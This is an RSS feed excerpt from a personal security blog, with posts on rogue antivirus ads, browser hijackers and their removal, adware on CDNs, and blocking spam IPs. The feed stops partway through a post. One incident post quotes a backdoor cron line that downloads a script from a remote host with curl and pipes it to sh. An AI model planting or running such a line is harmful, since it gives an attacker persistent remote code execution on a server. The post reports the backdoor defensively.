					<wfw:commentRss>https://www.majauskas.com/i-am-leaving-hostdime-hosting-and-you-should-plan-to-do-so-too/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Legitimate rogues in 2015</title>
		<link>https://www.majauskas.com/legitimate-rogues-in-2015</link>
					<comments>https://www.majauskas.com/legitimate-rogues-in-2015#respond</comments>
		
		<dc:creator><![CDATA[Giedrius Majauskas]]></dc:creator>
		<pubDate>Thu, 31 Dec 2015 14:22:01 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">http://www.majauskas.com/?p=783</guid>

					<description><![CDATA[<p>As an owner of 2-viruses.com I have clashed with couple legitimate companies in years 2014/15 that had asked for deletions of removal instructions or reviews. Some companies had legitimate claims however others rely on the strategy that was labeled as rogue even a decade ago. By definition, rogue antiviruses have [&#8230;]</p>
<p>The post <a href="https://www.majauskas.com/legitimate-rogues-in-2015">Legitimate rogues in 2015</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>As an owner of 2-viruses.com I have clashed with couple legitimate companies in years 2014/15 that had asked for deletions of removal instructions or reviews. Some companies had legitimate claims however others rely on the strategy that was labeled as rogue even a decade ago.</p>
<p>By definition, rogue antiviruses have these signs :</p>
<ol>
<li>Fake databases</li>
<li>Unjustified claims earlier or after install to make people download and buy the product</li>
<li>Hard to uninstall or use other programs.</li>
</ol>
<p>While 1 and 3 is enough to label program a rogue, the second statement (fake advertisements or unjustified claims) are not. It is enough to label such programs as PUPs, though (potentially unwanted programs).</p>
<p>Here are some of the fake claims used by MacKeeper by Kromtech advertisers. The advertisement is shown when you click on any link it some movie streaming website, through I do not think siteowner cares what he promotes..</p>
<p><a href="http://www.majauskas.com/wp-content/uploads/2015/12/Screen-Shot-2015-12-31-at-16.09.49.png" rel="attachment wp-att-784"><img loading="lazy" decoding="async" class="size-medium wp-image-784 aligncenter" src="http://www.majauskas.com/wp-content/uploads/2015/12/Screen-Shot-2015-12-31-at-16.09.49-300x174.png" alt="Screen Shot 2015-12-31 at 16.09.49" width="300" height="174" srcset="https://www.majauskas.com/wp-content/uploads/2015/12/Screen-Shot-2015-12-31-at-16.09.49-300x174.png 300w, https://www.majauskas.com/wp-content/uploads/2015/12/Screen-Shot-2015-12-31-at-16.09.49-768x444.png 768w, https://www.majauskas.com/wp-content/uploads/2015/12/Screen-Shot-2015-12-31-at-16.09.49-1024x593.png 1024w, https://www.majauskas.com/wp-content/uploads/2015/12/Screen-Shot-2015-12-31-at-16.09.49.png 1372w" sizes="auto, (max-width: 300px) 100vw, 300px" /></a></p>
<p><img loading="lazy" decoding="async" class="wp-image-785 size-medium aligncenter" src="http://www.majauskas.com/wp-content/uploads/2015/12/Screen-Shot-2015-12-31-at-16.10.34-285x300.png" alt="Screen Shot 2015-12-31 at 16.10.34" width="285" height="300" srcset="https://www.majauskas.com/wp-content/uploads/2015/12/Screen-Shot-2015-12-31-at-16.10.34-285x300.png 285w, https://www.majauskas.com/wp-content/uploads/2015/12/Screen-Shot-2015-12-31-at-16.10.34-1460x1536.png 1460w, https://www.majauskas.com/wp-content/uploads/2015/12/Screen-Shot-2015-12-31-at-16.10.34-768x808.png 768w, https://www.majauskas.com/wp-content/uploads/2015/12/Screen-Shot-2015-12-31-at-16.10.34-973x1024.png 973w, https://www.majauskas.com/wp-content/uploads/2015/12/Screen-Shot-2015-12-31-at-16.10.34.png 1690w" sizes="auto, (max-width: 285px) 100vw, 285px" /></p>
<p>&nbsp;</p>
<p>Even if you have such proof, makersÂ of such programÂ try one of several tricks to avoid listing):</p>
<ol>
<li>Claiming that the review breaches patent or DMCA. Reviews do not breach either, by the way.</li>
<li>Speaking about libel and promotion of competing products</li>
<li>Claiming that advertisements are made by third party (which should be Â their concern).</li>
</ol>
<p>While it is possible to battle such claims, many do not bother. It is clear that I won&#8217;t promote Kromtech programs till they stop using fake claims in the advertisements no matter how their program performs ( not so good at the moment).</p>
<p>The post <a href="https://www.majauskas.com/legitimate-rogues-in-2015">Legitimate rogues in 2015</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.majauskas.com/legitimate-rogues-in-2015/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>About YAC</title>
		<link>https://www.majauskas.com/about-yac</link>
					<comments>https://www.majauskas.com/about-yac#respond</comments>
		
		<dc:creator><![CDATA[Giedrius Majauskas]]></dc:creator>
		<pubDate>Thu, 05 Jun 2014 21:08:39 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">http://www.majauskas.com/?p=767</guid>

					<description><![CDATA[<p>Some time ago, I wrote on 2-viruses about yac.mx hijacker . The hijack in question was done by Yet Another Cleaner &#8211; an application written by ELEX (taiwanese company). It targeted Latin/South America mostly. We categorised it as PUP &#8211; potentially unwanted application/hijack. Only some versions of this program change [&#8230;]</p>
<p>The post <a href="https://www.majauskas.com/about-yac">About YAC</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p class="p1"><span class="s1">Some time ago, I wrote on <a href="http://www.2-viruses.com/remove-search-yac-mx-virus">2-viruses about <span class="s2">yac.mx</span> hijacker</a><br />
. The hijack in question was done by Yet Another Cleaner &#8211; an application written by ELEX (taiwanese company). It targeted Latin/South America mostly. We categorised it as PUP &#8211; potentially unwanted application/hijack. Only some versions of this program change the settings and users could control the process somewhat.Â </span></p>
<p class="p1"><span class="s1">However, we were attacked as a company by the makers of YAC in various ways. They tried to convince me to come into some sort of partnership, then they send legal looking emails about trying to sue us for providing information. At the moment they have resorted to fake comments. The sad fact is that these comments are written from the same (taiwanese) IP using different names, thus they are clearly fake. The bad thing is they use names of people that are known in this market and have similar websites. Impersonating other people is dishonest.Â </span></p>
<p class="p2"><img loading="lazy" decoding="async" class="alignleft size-large wp-image-768" src="http://www.majauskas.com/wp-content/uploads/2014/06/Screen-Shot-2014-06-06-at-00.01.18-1024x109.png" alt="Screen Shot 2014-06-06 at 00.01.18" width="1024" height="109" /></p>
<p class="p1"><span class="s1">I know that this comment is fake. And this is a strong signal not to use YAC. Additionally, its makers are known as hijacker makers already &#8211; they are connected to V9 search engine that was promoted in similar manner.Â </span></p>
<p class="p2">
<p>The post <a href="https://www.majauskas.com/about-yac">About YAC</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.majauskas.com/about-yac/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Maladvertising networks use CDNs to hide their tracks</title>
		<link>https://www.majauskas.com/maladvertising-networks-use-cdns-to-hide-their-tracks</link>
					<comments>https://www.majauskas.com/maladvertising-networks-use-cdns-to-hide-their-tracks#respond</comments>
		
		<dc:creator><![CDATA[Giedrius Majauskas]]></dc:creator>
		<pubDate>Tue, 11 Feb 2014 11:14:04 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">http://www.majauskas.com/?p=757</guid>

					<description><![CDATA[<p>At this point there are quite significant increase in malicious browser plugins that displays ads without enough disclosure. Quite often their tracks are hidden and it is not so easy to remove them. The makers use 2 ways to start showing adware : Distributing plugins with bundles or trojans (aka [&#8230;]</p>
<p>The post <a href="https://www.majauskas.com/maladvertising-networks-use-cdns-to-hide-their-tracks">Maladvertising networks use CDNs to hide their tracks</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>At this point there are quite significant increase in malicious browser plugins that displays ads without enough disclosure. Quite often their tracks are hidden and it is not so easy to remove them. The makers use 2 ways to start showing adware :</p>
<ol>
<li>Distributing plugins with bundles or trojans (aka &#8220;movie downloads&#8221;, etc).</li>
<li>Purchasing popular plugins and releasing ad-supported versions.</li>
</ol>
<p>While second way is almost legitimate, it is handled by browser makers effectively and is not so dangerous. Fast burning a plugin with significant user base is not something most adware makers want.</p>
<p>However, the makers of trojan &#8211; distributed adware plugins try to make sure their ads will be difficult to block permanently or tracked to their companies without caring about how long the plugin itself will last. Thus there is increase in CDNs supported popups. They are hard to block as the same infrastructure is used for legitimate content and pages.</p>
<h2>What is CDN</h2>
<p>CDN is short for content delivery network. These services help website load faster by keeping copies of website images and other static content in several locations around the globe. This helps a lot, and in majority of cases there are no reason not to use CDN for global websites.</p>
<p>The speedup is two-fold. Firstly, it the loaded content does not use main server. Secondly, it is automatically closer to the end-user and thus it loads much faster.</p>
<p>There are plenty of CDNs to choose from. The most popular ones are cloudflare (which helps with website page caching as well), Amazon&#8217;s cloudfront, to some extent Amazons AWS, AkamaiHD and several more. All of them were used by advertising networks at some point. More about CDNs in general and their list is available on <a href="https://en.wikipedia.org/wiki/Content_delivery_network">Wikipedia</a>. Personally, I use <a href="https://aws.amazon.com/cloudfront/">Cloudfront</a> for some of my sites.</p>
<h2>Why malware makers use CDN</h2>
<p>Malware makers use CDN for the same reason as legitimate users: They need to show content faster, reduce load on their own servers. Additionally, they have one more reason: it helps them avoid blockage from various antivirus applications.</p>
<p>Many antivirus applications will block blacklisted domains and does can&#8217;t blacklist whole content delivery network at once. They have to rely on blacklisting various patterns which can be changed faster than changing domains and servers. Thus some of CDN-delivered malicious content will be shown to end user even if it has decent malware blocking program.</p>
<p>As and example, lets look at static.icmapp.com &#8211; a domain having huge Alexa rating ( ~6500). Â&nbsp;The registration is private and the DNS services are ones of cloudflare &#8211; webpage acceleration network. Lots of legitimate pages use it, so it is not possible to block sites by IP that easily. <a href="https://www.2-viruses.com/remove-excessive-popups-types">I think it is used in Plus-HD plugin family that is made for advertising only</a>.</p>
<p>&nbsp;</p>
<p style="text-align: center;"><a href="https://www.majauskas.com/wp-content/uploads/2014/02/Screen-Shot-2014-02-11-at-12.58.25.png"><br />
<img decoding="async" class="aligncenter" src="http://www.majauskas.com/wp-content/uploads/2014/02/Screen-Shot-2014-02-11-at-12.58.25.png" alt="Screen Shot 2014-02-11 at 12.58.25" width="300" /></a></p>
<p>They haven&#8217;t bothered to set up real page at all. icmapp main domain is godaddy parking page. Some advertising networks care enough to provide some placeholder to explain themselves. Not so in this case.</p>
<p style="text-align: center;"><a href="https://www.majauskas.com/wp-content/uploads/2014/02/Screen-Shot-2014-02-11-at-13.10.57.png"><img loading="lazy" decoding="async" class="aligncenter" src="http://www.majauskas.com/wp-content/uploads/2014/02/Screen-Shot-2014-02-11-at-13.10.57.png" alt="Screen Shot 2014-02-11 at 13.10.57" width="400" height="326" /></a></p>
<p>What happens now? First, even if the domain will be blocked it is quite easy to launch other domains under same (or different) name under cloudflare without bigger changes to infrastructure. There won&#8217;t be a need to change icmapp com mains servers as they are not visible for end user. Even if they are kicked, there won&#8217;t be enough checks to make sure such thing won&#8217;t happen again.</p>
<p style="text-align: left;"><del>There is still hope that majority of browsers will change the way plugins get installed and perform checks for installed non-market plugins. This would be privacy risk, but would solve issue with malicious advertisings once and for all.</del></p>
<p>Currently, browsers try to limit plugins to the ones available in their public repositories. This reduces amount of malicious plugins but does not solve problems fully.</p>
<p>The post <a href="https://www.majauskas.com/maladvertising-networks-use-cdns-to-hide-their-tracks">Maladvertising networks use CDNs to hide their tracks</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.majauskas.com/maladvertising-networks-use-cdns-to-hide-their-tracks/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Blocking bad commentators – how to get IPs you should block.</title>
		<link>https://www.majauskas.com/blocking-bad-commentators-how-to-get-ips-you-should-block</link>
					<comments>https://www.majauskas.com/blocking-bad-commentators-how-to-get-ips-you-should-block#respond</comments>
		
		<dc:creator><![CDATA[Giedrius Majauskas]]></dc:creator>
		<pubDate>Thu, 18 Jul 2013 14:25:06 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<guid isPermaLink="false">http://www.majauskas.com/?p=737</guid>

					<description><![CDATA[<p>This is an update about securing wordpress admin and blocking spam bots from writing comments. Although I use Akismet, spam bots might use up your apache children connections or make harder to find false &#8211; possitives in spam messages.Â Â The main problem I faced is how to select IPs of commentators [&#8230;]</p>
<p>The post <a href="https://www.majauskas.com/blocking-bad-commentators-how-to-get-ips-you-should-block">Blocking bad commentators &#8211; how to get IPs you should block.</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>This is an update about securing wordpress admin and blocking spam bots from writing comments. Although I use Akismet, spam bots might use up your apache children connections or make harder to find false &#8211; possitives in spam messages.Â Â The main problem I faced is how to select IPs of commentators I want to block from the comment form. Well, There are several ways to get lists for your blog.<br />
Firstly, you can safely block many countries from your blogs wp-comments-post.php. For my english speaking sites I can safely block visitors from China and Korea. Not that I don&#8217;t value their input, but there are almost none that comment anything useful. A good list of Asian and post-soviet IPs is found <a href="http://www.wizcrafts.net/chinese-blocklist.html">here</a> and <a href="http://www.parkansky.com/china.htm">here</a>. I do not block countries in full myself, though.</p>
<p>Secondly, there are several bigger spam &#8211; hosting providers. As far as my sites concerned, the leader is PegTech, which should be blocked. At the time of the writting, I block 3 IP ranges there :</p>
<blockquote><p>deny from 192.74.224.0/19<br />
deny from 198.2.192.0/18<br />
deny from 137.175.1.0/17</p></blockquote>
<p>Thirdly, there are some other ways to get list of spam IPs. As an example, one might run</p>
<blockquote><p>SELECT comment_author_IP, count(comment_author_IP) as c FROM `wp_comments` where comment_approved=&#8217;spam&#8217; group by comment_author_IP order by c desc</p>
<p>&nbsp;</p></blockquote>
<p>This would show the most popular spamming IPs:</p>
<p><a href="http://www.majauskas.com/wp-content/uploads/2013/07/mysql1.png"><img loading="lazy" decoding="async" class="size-full wp-image-738 aligncenter" alt="mysql1" src="http://www.majauskas.com/wp-content/uploads/2013/07/mysql1.png" width="503" height="849" srcset="https://www.majauskas.com/wp-content/uploads/2013/07/mysql1.png 503w, https://www.majauskas.com/wp-content/uploads/2013/07/mysql1-178x300.png 178w" sizes="auto, (max-width: 503px) 100vw, 503px" /></a></p>
<p>&nbsp;</p>
<p>However, one could do even better at researching bad commenter IPs. We can see that same subnetwork repeats itself :</p>
<blockquote><p>SELECT IP,count(IP) as c from (SELECT substr(comment_author_IP FROM 1 FOR locate (&#8216;.&#8217;,comment_author_IP,locate(&#8216;.&#8217;,comment_author_IP)+1)) as IP FROM `wp_comments` where comment_approved=&#8217;spam&#8217; Â ) as t group by IP order by c desc</p></blockquote>
<p>Here, I get &#8220;subnetworks&#8221; that spam the most.</p>
<p><a href="http://www.majauskas.com/wp-content/uploads/2013/07/mysql2.png"><img loading="lazy" decoding="async" class="size-full wp-image-739 aligncenter" alt="mysql2" src="http://www.majauskas.com/wp-content/uploads/2013/07/mysql2.png" width="398" height="708" srcset="https://www.majauskas.com/wp-content/uploads/2013/07/mysql2.png 398w, https://www.majauskas.com/wp-content/uploads/2013/07/mysql2-169x300.png 169w" sizes="auto, (max-width: 398px) 100vw, 398px" /></a></p>
<p>&nbsp;</p>
<p>The next step is to research what network is it and should i block it whole or not. The IPs from 60.168 might belong to several entities, so that is a required step to prevent accidental block of good visitors. So, we pick some IPs from the first log and enter them in MaxMind Geo IP demo. In our case, these are chinese IPs again, which would be blocken by rule deny 60.160.0.0/11 . If you need to calculate which IPs would be blocked by particular rule, you could use one of several Netmask calculators like this one: Â <a href="http://jodies.de/ipcalc">http://jodies.de/ipcalc</a>Â .</p>
<p>&nbsp;</p>
<p>The post <a href="https://www.majauskas.com/blocking-bad-commentators-how-to-get-ips-you-should-block">Blocking bad commentators &#8211; how to get IPs you should block.</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.majauskas.com/blocking-bad-commentators-how-to-get-ips-you-should-block/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>HotStartSearch virus – what it is and how to remove</title>
		<link>https://www.majauskas.com/hotstartsearch-virus-what-it-is-and-how-to-remove</link>
					<comments>https://www.majauskas.com/hotstartsearch-virus-what-it-is-and-how-to-remove#respond</comments>
		
		<dc:creator><![CDATA[Giedrius Majauskas]]></dc:creator>
		<pubDate>Mon, 06 May 2013 20:20:37 +0000</pubDate>
				<category><![CDATA[General]]></category>
		<category><![CDATA[hijacker]]></category>
		<category><![CDATA[malware]]></category>
		<guid isPermaLink="false">http://www.majauskas.com/?p=727</guid>

					<description><![CDATA[<p>HotStartSearch virus also known as HotStartSearch.com is a browser hijacker that can be added as an application to Internet Explorer, Google Chrome or Mozilla Firefox. Usually it affects all of the Internet browsers installed on a computer. The obvious signs of this browser hijacker infection are replacement of home page, [&#8230;]</p>
<p>The post <a href="https://www.majauskas.com/hotstartsearch-virus-what-it-is-and-how-to-remove">HotStartSearch virus &#8211; what it is and how to remove</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>HotStartSearch virus also known as HotStartSearch.com is a browser hijacker that can be added as an application to Internet Explorer, Google Chrome or Mozilla Firefox. Usually it affects all of the Internet browsers installed on a computer. The obvious signs of this browser hijacker infection are replacement of home page, default search engine and new tab page with HotStartSearch.com. Other websites might also be promoted by this application and redirected to. You might also notice that the number of advertisements displayed while browsing the Internet has increased significantly. This is due to the changes caused by HotStartSearch virus.</p>
<p>&nbsp;</p>
<p>Although this unwanted application is not considered a malware and does not harm your computerâ€<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" />s system, it is recommended to remove, especially if you did not install it intentionally.<a href="http://www.2-viruses.com/remove-hotstartsearch-com"> HotStartSearch virus</a> is not only an annoying program causing redirections but it also breaches your privacy by collecting information about your browsing habits, search terms used, data provided in social websites such as Facebook, Twitter, etc. These records might be used for various purposes, mostly for targeted advertisement campaigns.</p>
<p>&nbsp;</p>
<p>Those having HotStartSearch virus complain that cannot remove it by simply uninstalling because the program is not listed in Control Panel Add and Remove programs list or under â€œExtensionsâ€ in â€œToolsâ€. This is quite a common practice for browser hijackers and adware. It might be that the application is named by a different title or hidden. The quickest and safest way to remove HotStartSearch virus is by using special antimalware tools like <a href="http://www.majauskas.com/downloads/spyhunter">Spyhunte</a>r. Scan your computer with it. The program will not only detect the latter unwanted application but also any other adware or browser hijackers that might have been installed together with it. After the scan is completed you may also need to reset search providers manually. Â A good Â <a title="How to change and fix search providers in your browser" href="http://www.majauskas.com/how-to-manage-browser-search-providers">guide on removing unwanted search engines is here</a>.</p>
<p>The post <a href="https://www.majauskas.com/hotstartsearch-virus-what-it-is-and-how-to-remove">HotStartSearch virus &#8211; what it is and how to remove</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.majauskas.com/hotstartsearch-virus-what-it-is-and-how-to-remove/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>How Delta Search Virus Works</title>
		<link>https://www.majauskas.com/how-delta-search-virus-works</link>
					<comments>https://www.majauskas.com/how-delta-search-virus-works#respond</comments>
		
		<dc:creator><![CDATA[Giedrius Majauskas]]></dc:creator>
		<pubDate>Fri, 29 Mar 2013 14:58:03 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[malware]]></category>
		<guid isPermaLink="false">http://www.majauskas.com/?p=721</guid>

					<description><![CDATA[<p>Delta search virus (aka delta-search dot com ) is one of the major browser hijackers today. Once the toolbar is installed, it replaces home / new tab page and then it hijacks search settings. And that is about all functions it provides. Additionally, if you uninstall it, all these settings [&#8230;]</p>
<p>The post <a href="https://www.majauskas.com/how-delta-search-virus-works">How Delta Search Virus Works</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Delta search virus (aka delta-search dot com ) is one of the major browser hijackers today. Once the toolbar is installed, it replaces home / new tab page and then it hijacks search settings. And that is about all functions it provides. Additionally, if you uninstall it, all these settings remain as they are and you are stuck with delta search.</p>
<p>The hijacking problem is not new. Recently, AVAST posted a blog entry covering <a href="http://blog.avast.com/2013/03/20/avast-browser-cleanup-at-work/">long-term hijacker top list</a>. Delta Search Â virus was not worthy for inclusion due to short life span of hijackers without real functions like Babylon or ask toolbar. Such hijackers have to employ various techniques to prevent removal like protecting search settings and trying to infect cloud &#8211; based settings as well. Luckily, many of anti-adware programs remove them.</p>
<p>It is recommended to remove Delta Search virus as it does not add any value to your search. Moreover, the results you get are mixed with advertised links therefore you never know if you open the website you looked for or a promoted one. Please note, some of the advertised links might lead to corrupted web pages that have viruses.</p>
<p>Delta Search virus as many other browser hijackers is difficult to remove manually. Its developers are motivated to have as many application users as possible therefore they made uninstall procedure complicated. Those that are not that computer savvy, are advised to use an automatic Â removal method:</p>
<ol>
<li>Download and run antimalware program, such as <a href="https://www.majauskas.com/downloads/spyhunter.exe" target="_blank" rel="noopener">Spyhunter</a>. If you want to use anything else, check beforehand if the tool can remove this particular threat. Many antivirus programs cannot.</li>
<li>Check if there are no applications related to Delta Search virus in Control Panel -&gt; Add and remove programs list. If you see any, uninstall them. IMPORTANT : you should remove all programs that got installed at the same time as Delta or the settings might be reverted.</li>
<li>Adjust your Internet browser <a title="How to change and fix search providers in your browser" href="https://www.majauskas.com/how-to-manage-browser-search-providers" target="_blank" rel="noopener">settings with our guide</a>.</li>
</ol>
<p>Delta Search engine is used for couple other hijackers as well. So stay clear from shareware downloads, always use custom installation for such software and unmark additional toolbar selections when installing. Information about <a href="https://www.2-viruses.com/remove-delta-search-hijacker">this particular hijacker is available on 2-viruses.com as well</a>.</p>
<p>The post <a href="https://www.majauskas.com/how-delta-search-virus-works">How Delta Search Virus Works</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.majauskas.com/how-delta-search-virus-works/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>The case of simple server backdoor</title>
		<link>https://www.majauskas.com/the-case-of-simple-server-backdoor</link>
					<comments>https://www.majauskas.com/the-case-of-simple-server-backdoor#comments</comments>
		
		<dc:creator><![CDATA[Giedrius Majauskas]]></dc:creator>
		<pubDate>Wed, 20 Mar 2013 16:14:04 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[facepalm]]></category>
		<category><![CDATA[fail]]></category>
		<guid isPermaLink="false">http://www.majauskas.com/?p=717</guid>

					<description><![CDATA[<p>Recently, I have found that one of my servers was infected with malicious apache module. This is not something I am too proud about, but it happens. The original infection happened either through plesk or through pre-existing user. That is why I am stopping using Plesk control panels for VPS&#8217;es [&#8230;]</p>
<p>The post <a href="https://www.majauskas.com/the-case-of-simple-server-backdoor">The case of simple server backdoor</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Recently, I have found that one of my servers was infected with malicious apache module. This is not something I am too proud about, but it happens. The original infection happened either through plesk or through pre-existing user. That is why I am stopping using Plesk control panels for VPS&#8217;es and DE&#8217;es I own and manage. The upgrade process between major versions is painful and one can&#8217;t expect to keep servers secure for longer periods of time.<br />
However, what is more interesting from this story is the backdoor that was made very simply and was in plain sight. This line was in root&#8217;s crontab and each admin thought it was something other admin used for monitoring or something else:<br />
<code><br />
*/3 * * * * /usr/bin/curl --connect-timeout 5 --max-time 10 -s http://xxx.xxx.xxx.xxx/cache/svn.php?host=xxx.xxx.xxx | sh >> /dev/null<br />
</code></p>
<p>This cron job launches 3 times per hour and downloads /executes single command. It is very simple, but it allows downloading and executing single command on one&#8217;s server. I am still blaming for not noticing it earlier. </p>
<p>The post <a href="https://www.majauskas.com/the-case-of-simple-server-backdoor">The case of simple server backdoor</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.majauskas.com/the-case-of-simple-server-backdoor/feed</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
			</item>
		<item>
		<title>FbDownloader – how to uninstall it</title>
		<link>https://www.majauskas.com/fbdownloader-how-to-uninstall-it</link>
					<comments>https://www.majauskas.com/fbdownloader-how-to-uninstall-it#respond</comments>
		
		<dc:creator><![CDATA[Giedrius Majauskas]]></dc:creator>
		<pubDate>Thu, 21 Feb 2013 15:35:52 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[hijacker]]></category>
		<category><![CDATA[malware]]></category>
		<guid isPermaLink="false">http://www.majauskas.com/?p=710</guid>

					<description><![CDATA[<p>FbDownloader is an application that allows any Facebook user to easily download an unlimited number of Facebook photos from their own albums or from their friends&#8217; albums, including tagged photos. It works across multiple computing platforms and offers a number of options, including the ability to download photos in black [&#8230;]</p>
<p>The post <a href="https://www.majauskas.com/fbdownloader-how-to-uninstall-it">FbDownloader &#8211; how to uninstall it</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>FbDownloader is an application that allows any Facebook user to easily download an unlimited number of Facebook photos from their own albums or from their friends&#8217; albums, including tagged photos. It works across multiple computing platforms and offers a number of options, including the ability to download photos in black and white or color. The photos can be consolidated from mobile uploads, tagged photos, and friendsâ€<img src="https://s.w.org/images/core/emoji/17.0.2/72x72/2122.png" alt="™" class="wp-smiley" style="height: 1em; max-height: 1em;" /> albums to one safe space on a hard drive. Although the features this application offers might sound useful, computer users complain about negative effects that come with fbDownloader.</p>
<p>Since the application is free of charge, it earns money from the advertisements displayed and web pages being promoted. Those having fbDownloader say that it changed their home page and search engine to its own, most commonly search(dot)fbdownloader (dot) com. In some cases it affects Facebook profile as well by displaying pop-up web pages on new windows or inserting a link on Facebook page.</p>
<p>Although fbDownloader itself is not related to malware, it makes a computer having the application more vulnerable to infections. The main reason is that the company does not take any responsibility for the advertisements displayed. These might be malicious or lead to corrupted websites. You may click on such an advertisement accidently and get your computer infected.</p>
<p>If you havenâ€˜t installed fbDownloader yourself or if you got annoyed by redirections it causes, you should remove it from your computer. Please note, that similar unwanted applications are programmed to be resistant to removal therefore deleting it from Control Panel Add and Remove Programs might not be enough. You might even not find it there. The most effective removal method is using special antimalware programs, e.g. <a href="http://www.majauskas.com/downloads/spyhunter">Spyhunter</a>. <a href="http://www.bleepingcomputer.com/download/adwcleaner/">Adwcleaner</a> works really well at fixing such search hijacks too. If you decide to use anything else, check beforehand if it is known to be effective in adware and browser hijackersâ€˜detection. Not all of the software work well against adware.</p>


<figure class="wp-block-image"><img loading="lazy" decoding="async" width="1100" height="576" src="https://www.majauskas.com/wp-content/uploads/2018/07/fbdownloader.jpg" alt="" class="wp-image-889" srcset="https://www.majauskas.com/wp-content/uploads/2018/07/fbdownloader.jpg 1100w, https://www.majauskas.com/wp-content/uploads/2018/07/fbdownloader-300x157.jpg 300w, https://www.majauskas.com/wp-content/uploads/2018/07/fbdownloader-768x402.jpg 768w, https://www.majauskas.com/wp-content/uploads/2018/07/fbdownloader-1024x536.jpg 1024w" sizes="auto, (max-width: 1100px) 100vw, 1100px" />
	<figcaption>old fbdownloader weabpage<br /></figcaption>
</figure>
<p>The post <a href="https://www.majauskas.com/fbdownloader-how-to-uninstall-it">FbDownloader &#8211; how to uninstall it</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://www.majauskas.com/fbdownloader-how-to-uninstall-it/feed</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>How to get rid of MapsGalaxy adware</title>
		<link>https://www.majauskas.com/how-to-get-rid-of-mapsgalaxy-adware</link>
					<comments>https://www.majauskas.com/how-to-get-rid-of-mapsgalaxy-adware#comments</comments>
		
		<dc:creator><![CDATA[Giedrius Majauskas]]></dc:creator>
		<pubDate>Mon, 14 Jan 2013 14:03:27 +0000</pubDate>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[redirect]]></category>
		<guid isPermaLink="false">http://www.majauskas.com/?p=702</guid>

					<description><![CDATA[<p>MapsGalaxy is a browser toolbar owned by Mindspark Interactive Network, Inc. It offers such functions like map search; check of the traffic info; easy access to yellow pages, facebook and other tools. The add-on can be installed to Internet Explorer and Mozilla Firefox. Even though the features this toolbar offers [&#8230;]</p>
<p>The post <a href="https://www.majauskas.com/how-to-get-rid-of-mapsgalaxy-adware">How to get rid of MapsGalaxy adware</a> appeared first on <a href="https://www.majauskas.com">Giedrius Majauskas blog</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>MapsGalaxy is a browser toolbar owned by Mindspark Interactive Network, Inc. It offers such functions like map search; check of the traffic info; easy access to yellow pages, facebook and other tools. The add-on can be installed to Internet Explorer and Mozilla Firefox. Even though the features this toolbar offers might seem useful, one would find Internet users complaining about it as well. They say they never intended to install it but MapsGalaxy got inside the system somehow. Those having this toolbar are forced to use another search engine home.mywebsearch.com. Moreover, when they tried to remove this unwanted program, it was particularly difficult to do it, some of the changes like redirections stayed even after the files were removed.</p>
